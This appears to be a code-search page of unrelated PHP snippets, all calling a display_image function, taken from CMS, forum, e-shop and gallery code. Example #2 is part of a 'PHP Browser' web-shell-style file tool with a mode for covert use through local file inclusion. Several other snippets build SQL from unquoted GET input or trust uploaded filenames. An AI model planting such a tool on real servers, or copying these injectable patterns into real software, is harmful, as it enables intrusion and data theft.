Example #1
0
 function index()
 {
     $this->load->model('users_model', 'users');
     // get members
     if ($users = $this->users->get_public_users()) {
         foreach ($users as $user) {
             $output['members'][] = array('member:id' => $user['userID'], 'member:avatar' => anchor('/users/profile/' . $user['userID'], display_image($this->users->get_avatar($user['avatar']), 'User Avatar', 80, 'class="avatar"', $this->config->item('staticPath') . '/images/noavatar.gif')), 'member:name' => $user['displayName'] ? $user['displayName'] : $user['firstName'] . ' ' . $user['lastName'], 'member:email' => $user['email'], 'member:group' => $user['groupName'] ? $user['groupName'] : '', 'member:link' => site_url('/users/profile/' . $user['userID']));
         }
     }
     // set page heading
     $output['page:title'] = $this->site->config['siteName'] . ' | Members';
     $output['page:heading'] = anchor('/community/members', 'Members');
     // set pagination
     $output['pagination'] = ($pagination = $this->pagination->create_links()) ? $pagination : '';
     // display with cms layer
     $this->pages->view('community_members', $output, TRUE);
 }
Example #2
0
define('SCRIPT_NAME', str_replace('\\', '/', $_SERVER['SCRIPT_NAME']));
define('DIR', isset($_GET['d']) ? $_GET['d'] : (isset($_POST['d']) ? $_POST['d'] : '.'));
define('IS_LFI_BASED', basename(__FILE__) == basename($_SERVER['SCRIPT_NAME']) ? false : true);
define('MODE', isset($_GET['mode']) ? $_GET['mode'] : (isset($_POST['mode']) ? $_POST['mode'] : 'browser'));
if (function_exists('date_default_timezone_get')) {
    $TZ = @date_default_timezone_get();
} elseif (strlen(ini_get('date.timezone'))) {
    $TZ = ini_get('date.timezone');
} elseif (IS_WIN == false and file_exists('/etc/timezone')) {
    $TZ = file_get_contents('/etc/timezone');
} else {
    $TZ = 'UTC';
}
@date_default_timezone_set($TZ);
if (isset($_GET['genimg']) && !empty($_GET['genimg'])) {
    display_image($_GET['genimg']);
    die;
}
if (AUTHENT == true and !isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER']) !== USER_HASH || md5($_SERVER['PHP_AUTH_PW']) !== PASS_HASH) {
    header('WWW-Authenticate: Basic realm="authent"');
    header('HTTP/1.0 401 Unauthorized');
    exit('<b><a href="">Realm</a> : Access Denied</b>');
}
/* For LFI-based usage, hide previous page output */
$html_header = '';
if (IS_LFI_BASED) {
    $html_header .= '<script>document.getElementsByTagName("body")[0].innerHTML="";</script>';
}
$html_header .= '<html><head><title>PHP Browser</title></head><body>';
$html_footer = '<body></html>';
$css = '<style>* {font-family: monospace, sans-serif;font-size: 11px;background-color: #fff;}
Example #3
0
function route_request($request)
{
    if (!empty($request['p'])) {
        if ($request['p'] === 'index') {
            // Display a full list of images
            return display_index();
        } else {
            // Display the requested image if it exists, the latest otherwise
            if (image_exists($request['p'] . '.jpg')) {
                return display_image($request['p'] . '.jpg');
            } else {
                return display_latest();
            }
        }
    } else {
        // Display the latest image
        return display_latest();
    }
}
Example #4
0
 function search($tag = '')
 {
     // get partials
     $output = $this->partials;
     // set tags
     $query = $tag ? $tag : strip_tags($this->input->post('query', TRUE));
     if ($userIDs = $this->users->search_users($query)) {
         // get members
         if ($users = $this->users->get_users($userIDs)) {
             foreach ($users as $user) {
                 $output['members'][] = array('member:avatar' => anchor('/users/profile/' . $user['userID'], display_image($this->users->get_avatar($user['avatar']), 'User Avatar', 80, 'class="avatar"', site_url() . $this->config->item('staticPath') . '/images/noavatar.gif')), 'member:name' => $user['displayName'] ? $user['displayName'] : $user['firstName'] . ' ' . $user['lastName'], 'member:link' => site_url('/users/profile/' . $user['userID']));
             }
         }
     }
     // set title
     $output['page:title'] = $this->site->config['siteName'] . ' | Searching Users for "' . $query . '"';
     $output['page:heading'] = 'Search Users for: "' . $query . '"';
     // set pagination
     $output['pagination'] = ($pagination = $this->pagination->create_links()) ? $pagination : '';
     // display with cms layer
     $this->pages->view('community_members', $output, 'community');
 }
Example #5
0
<?php

if (isset($_GET['id'])) {
    $query = query("SELECT * FROM products WHERE product_id = " . escape_string($_GET['id']) . " ");
    confirm($query);
    while ($row = fetch_array($query)) {
        $product_title = escape_string($row['product_title']);
        $product_category_id = escape_string($row['product_category_id']);
        $product_price = escape_string($row['product_price']);
        $product_description = escape_string($row['product_description']);
        $short_desc = escape_string($row['short_desc']);
        $product_quantity = escape_string($row['product_quantity']);
        $product_image = escape_string($row['product_image']);
        $product_image = display_image($row['product_image']);
    }
    update_products();
}
?>


<h1 class="page-header">
    商品を編集
</h1>

<form action="" method="POST" enctype="multipart/form-data">
    <div class="col-md-8">
        <div class="form-group">
            <label for="product-title">商品名</label>
            <input type="text" name="product_title" class="form-control" value="<?php 
echo $product_title;
?>
Example #6
0
     } else {
         echo $is_mod ? $locale['user1'] : getuserlevel($data['user_level']);
     }
 }
 echo "</span><br /><br />\n";
 echo "<!--forum_thread_user_info--><span class='small'><strong>" . $locale['502'] . "</strong> " . $data['user_posts'] . "</span><br />\n";
 echo "<span class='small'><strong>" . $locale['504'] . "</strong> " . showdate("%d.%m.%y", $data['user_joined']) . "</span><br />\n";
 echo "<br /></td>\n<td valign='top' class='tbl1'>\n";
 if (iMOD) {
     echo "<div style='float:right'><input type='checkbox' name='delete_post[]' value='" . $data['post_id'] . "' /></div>\n";
 }
 echo nl2br(parseubb($message));
 echo "<!--sub_forum_post_message-->";
 if ($data['attach_id']) {
     if (in_array($data['attach_ext'], $imagetypes) && @getimagesize(FORUM . "attachments/" . $data['attach_name'])) {
         echo "\n<hr />\n" . $data['user_name'] . $locale['506'] . "<br /><br />\n" . display_image($data['attach_name']) . "<br />[" . parsebytesize(filesize(FORUM . "attachments/" . $data['attach_name'])) . "]\n";
     } else {
         echo "\n<hr />\n" . $data['user_name'] . $locale['507'] . "<br />\n<a href='" . FUSION_SELF . "?thread_id=" . $_GET['thread_id'] . "&amp;getfile=" . $data['post_id'] . "'>" . $data['attach_name'] . "</a>";
     }
 }
 if ($data['post_edittime'] != "0") {
     echo "\n<hr />\n" . $locale['508'] . "<a href='../profile.php?lookup=" . $data['post_edituser'] . "'>" . $data['edit_name'] . "</a>" . $locale['509'] . showdate("forumdate", $data['post_edittime']);
 }
 if ($data['post_showsig'] && array_key_exists("user_sig", $data) && $data['user_sig']) {
     echo "\n<hr />" . nl2br(parseubb(parsesmileys($data['user_sig']), "b|i|u||center|small|url|mail|img|color"));
 }
 echo "<!--sub_forum_post--></td>\n</tr>\n";
 echo "<tr>\n<td class='tbl2' style='width:140px;white-space:nowrap'>";
 if ($settings['forum_ips'] && iMEMBER || iMOD) {
     echo "<strong>" . $locale['571'] . "</strong>: " . $data['post_ip'];
 } else {
 function search($query = '')
 {
     // load helper
     $this->load->helper('bbcode');
     // get partials
     $output = $this->partials;
     // set query
     $data['query'] = $query ? $query : $this->input->post('query');
     // search
     if ($messages = $this->messages->search_messages($data['query'])) {
         foreach ($messages as $message) {
             $output['messages'][] = array('message:class' => $message['unread'] && $message['userID'] != $this->session->userdata('userID') ? ' unread ' : '', 'user:avatar' => anchor('/users/profile/' . $message['userID'], display_image($this->users->get_avatar($message['avatar']), 'User Avatar', 40, 'class="avatar"', $this->config->item('staticPath') . '/images/noavatar.gif')), 'user:name' => $message['displayName'] ? $message['displayName'] : $message['firstName'] . ' ' . $message['lastName'], 'user:link' => site_url('/users/profile/' . $message['userID']), 'message:link' => site_url('/messages/read/' . ($message['parentID'] > 0 ? $message['parentID'] . '#reply' . $message['lastMessageID'] : $message['messageID'])), 'message:title' => $message['subject'], 'message:date' => dateFmt($message['dateCreated'], $this->site->config['dateOrder'] == 'MD' ? 'M jS Y, H:i' : 'jS M Y, H:i'), 'message:body' => strlen(bbcode($message['message'])) > 80 ? substr(bbcode($message['message']), 0, 100) . '...' : bbcode($message['message']), 'message:id' => $message['messageID']);
         }
     }
     // set pagination
     $output['pagination'] = ($pagination = $this->pagination->create_links()) ? $pagination : '';
     // set title
     $output['page:title'] = $this->site->config['siteName'] . ' - Searching Messages for "' . $data['query'] . '"';
     $output['page:heading'] = 'Search Messages for: "' . $data['query'] . '"';
     // display with cms layer
     $this->pages->view('community_messages', $output, 'community');
 }
Example #8
0
 function read()
 {
     // get partials
     $output = $this->partials;
     // get post based on uri
     $year = $this->uri->segment(2);
     $month = $this->uri->segment(3);
     $uri = $this->uri->segment(4);
     if ($post = $this->blog->get_post($year, $month, $uri)) {
         // add comment
         if (count($_POST)) {
             // required
             $this->core->required = array('fullName' => 'Full name', 'comment' => 'Comment');
             // check for spam
             preg_match_all('/http:\\/\\//i', $this->input->post('comment'), $urlMatches);
             preg_match_all('/viagra|levitra|cialis/i', $this->input->post('comment'), $spamMatches);
             if (count($urlMatches[0]) > 2 || count($urlMatches[0]) > 0 && count($spamMatches[0]) > 0) {
                 $this->form_validation->set_error('Sorry but your comment looks like spam. Please remove links and try again.');
             } elseif (isset($_POST['captcha']) && !$this->_captcha_check()) {
                 $this->form_validation->set_error('Sorry you didn\'t pass the spam check. Please contact us to post a comment.');
             } else {
                 // set date
                 $this->core->set['dateCreated'] = date("Y-m-d H:i:s");
                 $this->core->set['postID'] = $post['postID'];
                 // awaiting moderation
                 if ($this->session->userdata('session_admin')) {
                     $this->core->set['active'] = 1;
                 } else {
                     $this->core->set['active'] = 0;
                 }
                 // update
                 if ($this->core->update('blog_comments')) {
                     // get insertID
                     $commentID = $this->db->insert_id();
                     // get details on post poster
                     $user = $this->blog->get_user($post['userID']);
                     // construct URL
                     $url = '/blog/' . $year . '/' . $month . '/' . $uri . '/';
                     if ($user['notifications'] && !$this->session->userdata('session_admin')) {
                         // set header and footer
                         $emailHeader = str_replace('{name}', $user['firstName'] . ' ' . $user['lastName'], $this->site->config['emailHeader']);
                         $emailHeader = str_replace('{email}', $user['email'], $emailHeader);
                         $emailFooter = str_replace('{name}', $user['firstName'] . ' ' . $user['lastName'], $this->site->config['emailFooter']);
                         $emailFooter = str_replace('{email}', $user['email'], $emailFooter);
                         // send email
                         $this->load->library('email');
                         $this->email->from($this->site->config['siteEmail'], $this->site->config['siteName']);
                         $this->email->to($user['email']);
                         $this->email->subject('New Blog Comment on ' . $this->site->config['siteName']);
                         $this->email->message($emailHeader . "\n\nSomeone has just commented on your blog post titled \"" . $post['postTitle'] . "\".\n\nYou can either approve or delete this comment by clicking on the following URL:\n\n" . site_url('/admin/blog/comments') . "\n\nThey said:\n\"" . $this->input->post('comment') . "\"\n\n" . $emailFooter);
                         $this->email->send();
                     }
                     // output message
                     $output['message'] = 'Thank you, your comment has been posted and is awaiting moderation.';
                     // disable form
                     $post['allowComments'] = 0;
                 }
             }
         }
         // set page title
         $output['page:title'] = $post['postTitle'] . ($this->site->config['siteName'] ? ' - ' . $this->site->config['siteName'] : '');
         // set meta description
         if ($post['excerpt']) {
             $output['page:description'] = $post['excerpt'];
         }
         // get author details
         $author = $this->blog->lookup_user($post['userID']);
         // populate template
         $output['post:title'] = $post['postTitle'];
         $output['post:link'] = site_url('blog/' . dateFmt($post['dateCreated'], 'Y/m') . '/' . $post['uri']);
         $output['post:date'] = dateFmt($post['dateCreated'], $this->site->config['dateOrder'] == 'MD' ? 'M jS Y' : 'jS M Y');
         $output['post:day'] = dateFmt($post['dateCreated'], 'd');
         $output['post:month'] = dateFmt($post['dateCreated'], 'M');
         $output['post:year'] = dateFmt($post['dateCreated'], 'y');
         $output['post:body'] = $this->template->parse_body($post['body']);
         $output['post:excerpt'] = $this->template->parse_body($post['excerpt']);
         $output['post:comments-count'] = $post['numComments'];
         $output['post:author'] = $author['displayName'] ? $author['displayName'] : $author['firstName'] . ' ' . $author['lastName'];
         $output['post:author-id'] = $author['userID'];
         $output['post:author-email'] = $author['email'];
         $output['post:author-avatar'] = anchor('/users/profile/' . $author['userID'], display_image($this->blog->get_user_avatar($author['avatar']), 'User Avatar', 100, 'class="bordered"', site_url() . $this->config->item('staticPath') . '/images/noavatar.gif'));
         $output['post:author-gravatar'] = 'http://www.gravatar.com/avatar.php?gravatar_id=' . md5(trim($author['email'])) . '&default=' . urlencode(site_url('/static/uploads/avatars/noavatar.gif'));
         $output['post:author-bio'] = empty($author['bio']) ? 'This Author has no bio set yet.' : $author['bio'];
         $output['post:allow-comments'] = $post['allowComments'] ? TRUE : FALSE;
         $output['form:name'] = set_value('fullName', $this->session->userdata('firstName') . ' ' . $this->session->userdata('lastName'));
         $output['form:email'] = set_value('email', $this->session->userdata('email'));
         $output['form:website'] = $this->input->post('website');
         $output['form:comment'] = $this->input->post('comment');
         // get cats
         if ($cats = $this->blog->get_cats_for_post($post['postID'])) {
             $i = 0;
             foreach ($cats as $cat) {
                 $output['post:categories'][$i]['category:link'] = site_url('blog/' . url_title(strtolower(trim($cat))));
                 $output['post:categories'][$i]['category'] = $cat;
                 $i++;
             }
         }
         // get tags
         if ($post['tags']) {
             $tags = explode(',', $post['tags']);
             $i = 0;
             foreach ($tags as $tag) {
                 $output['post:tags'][$i]['tag:link'] = site_url('blog/tag/' . $this->tags->make_safe_tag($tag));
                 $output['post:tags'][$i]['tag'] = $tag;
                 $i++;
             }
         }
         // get comments
         if ($comments = $this->blog->get_comments($post['postID'])) {
             $i = 0;
             foreach ($comments as $comment) {
                 $output['post:comments'][$i]['comment:class'] = $i % 2 ? ' alt ' : '';
                 $output['post:comments'][$i]['comment:id'] = $comment['commentID'];
                 $output['post:comments'][$i]['comment:gravatar'] = 'http://www.gravatar.com/avatar.php?gravatar_id=' . md5(trim($comment['email'])) . '&default=' . urlencode(site_url('/static/uploads/avatars/noavatar.gif'));
                 $output['post:comments'][$i]['comment:author'] = !empty($comment['website']) ? anchor(prep_url($comment['website']), $comment['fullName']) : $comment['fullName'];
                 $output['post:comments'][$i]['comment:date'] = dateFmt($comment['dateCreated'], $this->site->config['dateOrder'] == 'MD' ? 'M jS Y' : 'jS M Y');
                 $output['post:comments'][$i]['comment:body'] = nl2br(auto_link(strip_tags($comment['comment'])));
                 $i++;
             }
         }
         // load errors
         $output['errors'] = validation_errors() ? validation_errors() : FALSE;
         // add view
         $this->blog->add_view($post['postID']);
         // output post ID for CMS
         $output['postID'] = $post['postID'];
         // display with cms layer
         $this->pages->view('blog_single', $output, TRUE);
     } else {
         show_404();
     }
 }
Example #9
0
 function addreply($topicID = '', $postID = '')
 {
     // check user is logged in, if not send them away from this controller
     if (!$this->session->userdata('session_user')) {
         redirect('/users/login/' . $this->core->encode($this->uri->uri_string()));
     }
     if (!$topicID || !($topic = $this->forums->get_topic($topicID))) {
         show_error('Please make sure you post in a valid topic.');
     }
     if ($topic['locked'] && @(!in_array('forums', @$this->permission->permissions))) {
         show_error('You cannot reply to this topic as it is locked.');
     }
     // check they aren't posting again too soon
     if ($this->session->userdata('lastPost') > strtotime('-5 seconds')) {
         $this->form_validation->set_error('Hold on, please wait a few more seconds before posting.');
     }
     // get user info
     $user = $this->forums->get_user($topic['userID']);
     // get forum info
     $forum = $this->forums->get_forum($topic['forumID']);
     // get post for quotes
     if ($postID && ($post = $this->forums->get_post($postID))) {
         $quote = '[quote]' . $post['body'] . '[/quote]' . "\n";
     }
     // get posts
     if ($posts = $this->forums->get_posts($topicID, 10)) {
         foreach ($posts as $post) {
             $output['posts'][] = array('post:id' => $post['postID'], 'post:date' => dateFmt($post['dateCreated']), 'post:links' => anchor('/forums/addreply/' . $post['topicID'] . '/' . $post['postID'], 'Quote'), 'post:body' => bbcode($post['body']), 'user:name' => anchor('/users/profile/' . $post['userID'], $post['displayName'] ? $post['displayName'] : $post['firstName'] . ' ' . $post['lastName']), 'user:group' => $post['groupName'] ? $post['groupName'] : '', 'user:avatar' => anchor('/users/profile/' . $post['userID'], display_image($this->forums->get_avatar($post['avatar']), 'post Avatar', 80, 'class="avatar"', base_url() . $this->config->item('staticPath') . '/images/noavatar.gif')), 'user:posts' => $post['posts'], 'user:kudos' => $post['kudos'], 'user:signature' => $post['signature'] ? '<hr /><small>' . bbcode($post['signature']) . '</small>' : '');
         }
     }
     if (count($_POST)) {
         // required
         $this->core->required = array('body' => array('label' => 'Post Body', 'rules' => 'required'));
         // set stuff
         $this->core->set['dateCreated'] = date("Y-m-d H:i:s");
         $this->core->set['topicID'] = $topicID;
         $this->core->set['userID'] = $this->session->userdata('userID');
         // update
         if ($this->core->update('forums_posts')) {
             // load email lib
             $this->load->library('email');
             // get postID
             $postID = $this->db->insert_id();
             // update topic count and latest post
             $this->forums->add_reply($topicID, $topic['forumID'], $postID);
             // get subscriptions
             $subscribers = $this->forums->get_subscriptions($topicID);
             // subscribe to topic
             if (@(!in_array($this->session->userdata('userID'), $subscribers))) {
                 $this->forums->add_subscription($topicID, $this->session->userdata('userID'));
             }
             // email those subscribed
             if ($users = $this->forums->get_emails($subscribers)) {
                 foreach ($users as $sub) {
                     // set header and footer
                     $emailHeader = str_replace('{name}', $sub['firstName'] . ' ' . $sub['lastName'], $this->site->config['emailHeader']);
                     $emailHeader = str_replace('{email}', $sub['email'], $emailHeader);
                     $emailFooter = str_replace('{name}', $sub['firstName'] . ' ' . $sub['lastName'], $this->site->config['emailFooter']);
                     $emailFooter = str_replace('{email}', $sub['email'], $emailFooter);
                     $this->email->from($this->site->config['siteEmail'], $this->site->config['siteName']);
                     $this->email->to($sub['email']);
                     $this->email->subject('Subscription Notification for ' . $topic['topicTitle']);
                     $this->email->message($emailHeader . "\n\nSomeone replied to a topic you are subscribed to titled \"" . $topic['topicTitle'] . "\".\n\nYou can view this topic by clicking on the link below:\n\n" . site_url('/forums/viewpost/' . $postID) . "\n\nThey said:\n\"" . $this->input->post('body') . "\"\n\n" . $emailFooter);
                     $this->email->send();
                 }
             }
             // set last post session var
             $this->session->set_userdata('lastPost', strtotime('now'));
             // where to redirect to
             redirect('/forums/viewpost/' . $postID);
         }
     }
     // set permissions
     $output['moderator'] = @in_array('forums', @$this->permission->permissions) ? TRUE : FALSE;
     // populate template
     $output['form:body'] = $this->input->post('body') ? $this->input->post('body') : @$quote;
     // load errors
     $output['errors'] = validation_errors() ? validation_errors() : FALSE;
     // set title and breadcrumb
     $output['page:title'] = $this->site->config['siteName'] . ' | Post Reply';
     $output['breadcrumb'] = (isset($forum['catName']) ? anchor('/forums', $forum['catName']) : anchor('/forums', 'Forums')) . ' &gt; ' . anchor('/forums/viewforum/' . $forum['forumID'], $forum['forumName']) . ' &gt; ' . anchor('/forums/viewtopic/' . $topicID, $topic['topicTitle']);
     // display with cms layer
     $this->pages->view('forums_post_reply', $output, TRUE);
 }
Example #10
0
			</ul>	
		</li>
		<?php 
    }
} else {
    ?>
		<li>No updates from anyone :(</li>
		<?php 
}
?>
	</ol>
</div>
<div id="sidebar">
	<div class="mainInfo">
		<?php 
echo display_image("", "", asset_profiles() . $user_id . "/large_", $image, asset_profiles() . "large_nopicture.png", $name . "'s profile picture");
?>
 
		<ul>
			<?php 
echo display_value("li", "", "", "", $name);
?>
			<?php 
echo display_value("li", "", "", "Location: ", $location);
?>
			<?php 
echo display_value("li", "", "", "Web: ", $url, $url, "_blank");
?>
		
			<?php 
echo display_value("li", "", "", "Bio: ", $bio);
Example #11
0
        echo anchor('/admin/images/edit/' . $image['imageID'] . '/' . $this->core->encode($this->uri->uri_string()), '<img src="' . $this->config->item('staticPath') . '/images/btn_edit.png" alt="Edit" />', 'class="edit"');
        ?>
				
					<?php 
        echo anchor('/admin/images/delete/' . $image['imageID'] . '/' . $this->core->encode($this->uri->uri_string()), '<img src="' . $this->config->item('staticPath') . '/images/btn_delete.png" alt="Delete" />', 'onclick="return confirm(\'Are you sure you want to delete this image?\')"');
        ?>
				</div>					

				<a href="<?php 
        echo $imagePath;
        ?>
" title="<?php 
        echo $image['imageName'];
        ?>
" class="lightbox"><?php 
        echo ($thumb = display_image($imageThumbPath, $image['imageName'], 100, 'class="pic"')) ? $thumb : display_image($imagePath, $image['imageName'], 100, 'class="pic"');
        ?>
</a>

				<p><strong><?php 
        echo $image['imageRef'];
        ?>
</strong></p>
				
		<?php 
        echo '</td>' . "\n";
        $i++;
    }
    for ($x = 0; $x < $itemsPerRow - $i; $x++) {
        echo '<td width="' . floor(1 / $itemsPerRow * 100) . '%">&nbsp;</td>';
    }
Example #12
0
	<ul>
		<?php 
    foreach ($images as $image) {
        $imageData = $this->uploads->load_image($image['imageRef']);
        $imagePath = $imageData['src'];
        $imageData = $this->uploads->load_image($image['imageRef'], true);
        $imageThumbPath = $imageData['src'];
        ?>
			<li class="fixed">
				<div class="halogycms_thumb">
					<a href="#" class="halogycms_insertimage" title="<?php 
        echo $image['imageRef'];
        ?>
"><?php 
        echo ($thumb = display_image($imageThumbPath, $image['imageName'], 50)) ? $thumb : display_image($imagePath, $image['imageName'], 50);
        ?>
</a>
				</div>
				<div class="halogycms_description">
					<a href="#" class="halogycms_insertimage" title="<?php 
        echo $image['imageRef'];
        ?>
"><?php 
        echo $image['imageRef'];
        ?>
</a>
				</div>	
			</li>
		<?php 
    }
Example #13
0
    <?php 
include "./front/side_nav.php";
?>

    <?php 
$query = query("SELECT * FROM products WHERE product_id = " . escape_string($_GET['id']) . " ");
confirm($query);
while ($row = fetch_array($query)) {
    ?>

	<div class="col-md-9">
		<!-- Row for Image and Short Description-->
		<div class="row">
			<div class="col-md-7">
					<img class="img-responsive" src="<?php 
    echo display_image($row['product_image']);
    ?>
" alt="">
			</div>
			<div class="col-md-5">
				<div class="thumbnail"> 
					<div class="caption-full">
				        <h4><a href="#"><?php 
    echo $row['product_title'];
    ?>
</a></h4>
				        <hr>
				        <h4 class=""><?php 
    echo "&yen;" . number_format($row['product_price']);
    ?>
</h4>
Example #14
0
<div id="content">
	<div class="user_profile_content_left">
	
		<h1><a class="user_profile_name" href="<?php 
echo base_url() . 'profile/' . $username;
?>
"><?php 
echo $name;
?>
</a></h1>
	
		<a class="user_profile_image" href="<?php 
echo base_url() . 'profile/' . $username;
?>
"><?php 
echo display_image("", "", asset_profiles() . $user_id . "/original_", $image, asset_profiles() . "bigger_nopicture.png", $name . "'s profile picture");
?>
</a>
	
	</div>
</div>
Example #15
0
    $desired_width2 = imagesy($source_image) * 2;
    make_thumb($tmp_name, $img2_dest, $desired_width1);
    make_thumb($tmp_name, $img3_dest, $desired_width2);
    //finish creating thumbnails. They're supposed to be in their physical location
    //move the uploaded iamge into the file system
    $movefile = move_uploaded_file($tmp_name, $img1_dest);
    if ($movefile) {
        //now need to insert data into database
        $hsl = mysql_query("insert into image values('','{$imagename}','{$description}')");
        if ($hsl) {
            echo "<script>alert('Insert to the database success!')</script>";
        } else {
            echo "<script>alert('Error Table database')</script>";
        }
        //display images
        display_image($img1_dest, $img2_dest, $img3_dest, $imagename, $description);
    } else {
        echo "upload directory is not writable";
    }
} else {
    echo "Please choose a file to submit";
}
function make_thumb($src, $dest, $desired_width)
{
    /* read the source image */
    $source_image = imagecreatefromjpeg($src);
    $width = imagesx($source_image);
    $height = imagesy($source_image);
    /* find the "desired height" of this thumbnail, relative to the desired width  */
    $desired_height = floor($height * ($desired_width / $width));
    /* create a new, "virtual" image */
Example #16
0
function dt_generate_option_html($this_options)
{
    foreach ($this_options as $value) {
        switch ($value['type']) {
            case "section_start":
                display_section_start($value);
                break;
            case "options_group_start":
                display_options_group_start($value);
                break;
            case "home_html":
                display_home_html();
                break;
            case "text":
                display_text($value);
                break;
            case "multitext":
                display_multitext($value);
                break;
            case "textarea":
                display_textarea($value);
                break;
            case "image":
                display_image($value);
                break;
            case "checkbox":
                display_checkbox($value);
                break;
            case "radio":
                display_radio($value);
                break;
            case "radio_img":
                display_radio_img($value);
                break;
            case "color_picker":
                display_color_picker($value);
                break;
            case "select":
                display_select($value);
                break;
            case "checkbox_array_values":
                display_checkbox_array_values($value);
                break;
            case "html":
                display_html($value);
                break;
            case "options_group_end":
                display_options_group_end($value);
                break;
            case "section_end":
                display_section_end($value);
                break;
        }
    }
}
Example #17
0
function display_users()
{
    $page = $_GET['p'];
    $pagesize = 5;
    $command = "users";
    $user_query = query("SELECT * FROM users LIMIT " . $page * $pagesize . "," . $pagesize);
    confirm($user_query);
    while ($row = fetch_array($user_query)) {
        $user_id = $row['user_id'];
        $nickname = $row['nickname'];
        $password = $row['password'];
        $username_shi = $row['username_shi'];
        $username_mei = $row['username_mei'];
        $email = $row['email'];
        $adr = $row['adr'];
        $tel = $row['tel'];
        $birth_year = $row['birth_year'];
        $birth_mon = $row['birth_mon'];
        $birth_day = $row['birth_day'];
        $sex = $row['sex'];
        $shimei = $username_shi . " " . $username_mei;
        $birth = $birth_year . "-" . $birth_mon . "-" . $birth_day;
        $user_photo = display_image($row['user_photo']);
        /*<a href="index.php?edit_user&id={$row['user_id']}">*/
        $user = <<<DELIMETER
\t\t\t\t\t<tr>
                \t\t<td>{$user_id}</td>
               \t\t\t<td><img width="30" src="../{$user_photo}" alt=""></td>
               \t\t\t<td>{$nickname}</td>
               \t\t\t<td>{$shimei}</td>
               \t\t\t<td>{$email}</td>               \t\t\t
               \t\t\t<td>{$tel}</td>
               \t\t\t<td>{$birth}</td>
               \t\t\t<td>{$sex}</td>
               \t\t\t<td><a class="btn btn-danger" href="delete_user.php?id={$row['user_id']}"><span class='glyphicon glyphicon-remove'></span></a></td>
            \t\t</tr>
DELIMETER;
        echo $user;
    }
    pages($page, $pagesize, $command);
}
Example #18
0
<?php

include_once "inc/cbir.inc";
include_once "inc/xml_parser.inc";
$filename = get_convert_upload_image();
extract_features($filename);
$quantized_ret = quantize($filename);
$retrieved_ret = image_retrieval($quantized_ret, 100);
display_image($retrieved_ret);
#print_r($retrieved_ret);
function display_image($images)
{
    $base_url = "/~itv/thumbnails/";
    $image_urls = array();
    foreach ($images['results']['image'] as $image) {
        $image_id = $image['id'];
        $image_url = $base_url . $image_id . '_t.jpg';
        $image_urls[] = $image_url;
    }
    foreach ($image_urls as $image_url) {
        print "<img width=\"100\" height=\"100\" src=\"{$image_url}\" />";
    }
}
function image_retrieval($features, $max = 100)
{
    $ret = '';
    $query_args = array("url" => "http://cml10.csie.ntu.edu.tw:5000/", "post" => true, "params" => array("feature" => $features, "max" => $max));
    $xml_ret = query_cbir_service($query_args);
    if (!empty($xml_ret)) {
        $parser = new xml_parser();
        $ret = $parser->parse($xml_ret);
Example #19
0
    ?>
	</div>
<?php 
}
?>

<div style="float: right;">
	<?php 
$image = $this->uploads->load_image($data['imageRef']);
$thumb = $this->uploads->load_image($data['imageRef'], true);
$imagePath = $image['src'];
$imageThumbPath = $thumb['src'];
?>
	
	<?php 
echo ($thumb = display_image(base_url(), $imageThumbPath, $data['imageName'], 100, 'class="pic" ')) ? $thumb : display_image(base_url(), $imagePath, $data['imageName'], 100, 'class="pic"');
?>
		
</div>

<form method="post" action="<?php 
echo site_url($this->uri->uri_string());
?>
" enctype="multipart/form-data" class="default" style="width: 450px; float: left;">

	<label for="image">Image:</label>
	<div class="uploadfile">
		<?php 
echo @form_upload('image', '', 'size="16" id="image"');
?>
	</div>
$TARGETDIR = "../images/";
$TARGETFILE = $TARGETDIR . basename($_FILES["picture"]["name"]);
$uploadOk = true;
$imageFileType = pathinfo($TARGETFILE, PATHINFO_EXTENSION);
$output = "";
if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["picture"]["tmp_name"]);
    if ($check !== false) {
        $output .= "File is an image - " . $check["mime"] . ".<br>";
        $uploadOk = true;
    } else {
        $output .= "File is not an image.<br>";
        $uploadOk = false;
    }
}
// Check for picture formats
if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "gif") {
    $output .= "Sorry, only JPG, PNG and GIF files are allowed.";
    $uploadOk = false;
}
if ($uploadOk == false) {
    echo $output;
} else {
    if (move_uploaded_file($_FILES["picture"]["tmp_name"], $TARGETFILE)) {
        $output .= "The file " . basename($_FILES["picture"]["name"]) . " has been uploaded.<br>";
        echo display_image($TARGETFILE);
    } else {
        $output .= "Sorry, there was an error uploading your image.";
        echo $output;
    }
}
 } else {
     $message = parseubb($message);
 }
 echo nl2br($message);
 echo "<!--sub_forum_post_message-->";
 if ($data['post_attachments'] > 0) {
     // Pimped: Multi-Upload
     $att_result = dbquery("SELECT attach_id, attach_ext, attach_name, attach_counter\r\n\t\t\tFROM " . DB_FORUM_ATTACHMENTS . " WHERE post_id='" . (int) $data['post_id'] . "'");
     if (dbrows($att_result)) {
         $print_files = '';
         $print_images = '';
         $count_files = 0;
         $count_images = 0;
         while ($att_data = dbarray($att_result)) {
             if (in_array($att_data['attach_ext'], $imagetypes) && file_exists(FORUM_ATT . $att_data['attach_name']) && @getimagesize(FORUM_ATT . $att_data['attach_name'])) {
                 $print_images .= "\n" . display_image($att_data['attach_name']) . "<br />[" . parsebytesize(filesize(FORUM_ATT . $att_data['attach_name'])) . "]<br /><br />\n";
                 $count_images++;
             } elseif (file_exists(FORUM_ATT . $att_data['attach_name'])) {
                 $print_files .= "\n<a href='" . FORUM . "file.php?getfile=" . $att_data['attach_id'] . "'>" . $att_data['attach_name'] . "</a>";
                 $print_files .= " [" . parsebytesize(filesize(FORUM_ATT . $att_data['attach_name']));
                 $print_files .= ", " . sprintf($locale['507c'], $att_data['attach_counter']) . "]<br />\n";
                 $count_files++;
             }
         }
         if ($print_files != '') {
             echo "\n<fieldset class='forum_attachments'>";
             echo "<legend class='forum_attachments_legend'>" . profile_link($data['user_id'], $data['user_name'], $data['user_status']) . ($count_files > 1 ? $locale['507b'] : $locale['507']) . "</legend>";
             echo "<div class='forum_attachments_content'>" . $print_files . "</div>";
             echo "</fieldset>\n";
         }
         if ($print_images != '') {
                case 4:
                    imagefilter($canvas, $imgFilters[$fSettings[0]][0], $fSettings[1], $fSettings[2], $fSettings[3], $fSettings[4]);
                    break;
                default:
                    imagefilter($canvas, $imgFilters[$fSettings[0]][0]);
                    break;
            }
        }
    }
    if ($s && function_exists('imageconvolution')) {
        $sMatrix = array(array(-1, -1, -1), array(-1, 16, -1), array(-1, -1, -1));
        $div = 0;
        $off = 0;
